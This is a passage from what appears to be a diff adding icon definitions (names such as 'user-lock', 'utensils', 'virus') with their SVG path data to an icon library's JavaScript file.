96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z" ], + "user-lock": [ 640, 512, [], "f502", "M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z" ], + "user-md": [ 448, 512, [], "f0f0", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z" ], + "user-minus": [ 640, 512, [], "f503", "M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-ninja": [ 448, 512, [], "f504", "M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z" ], + "user-nurse": [ 448, 512, [], "f82f", "M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z" ], + "user-plus": [ 640, 512, [], "f234", "M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-secret": [ 448, 512, [], "f21b", "M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z" ], + "user-shield": [ 640, 512, [], "f505", "M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z" ], + "user-slash": [ 640, 512, [], "f506", "M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z" ], + "user-tag": [ 640, 512, [], "f507", "M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z" ], + "user-tie": [ 448, 512, [], "f508", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z" ], + "user-times": [ 640, 512, [], "f235", "M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + users: [ 640, 512, [], "f0c0", "M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" ], + "users-cog": [ 640, 512, [], "f509", "M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" ], + "users-slash": [ 640, 512, [], "e073", "M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z" ], + "utensil-spoon": [ 512, 512, [], "f2e5", "M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z" ], + utensils: [ 416, 512, [], "f2e7", "M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z" ], + "vector-square": [ 512, 512, [], "f5cb", "M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z" ], + venus: [ 288, 512, [], "f221", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" ], + "venus-double": [ 512, 512, [], "f226", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z" ], + "venus-mars": [ 576, 512, [], "f228", "M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + vest: [ 448, 512, [], "e085", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z" ], + "vest-patches": [ 448, 512, [], "e086", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z" ], + vial: [ 480, 512, [], "f492", "M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z" ], + vials: [ 640, 512, [], "f493", "M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z" ], + video: [ 576, 512, [], "f03d", "M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z" ], + "video-slash": [ 640, 512, [], "f4e2", "M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z" ], + vihara: [ 640, 512, [], "f6a7", "M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z" ], + virus: [ 512, 512, [], "e074", "M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z" ], + "virus-slash": [ 640, 512, [], "e075", "M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z" ], + viruses: [ 640, 512, [], "e076", "M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1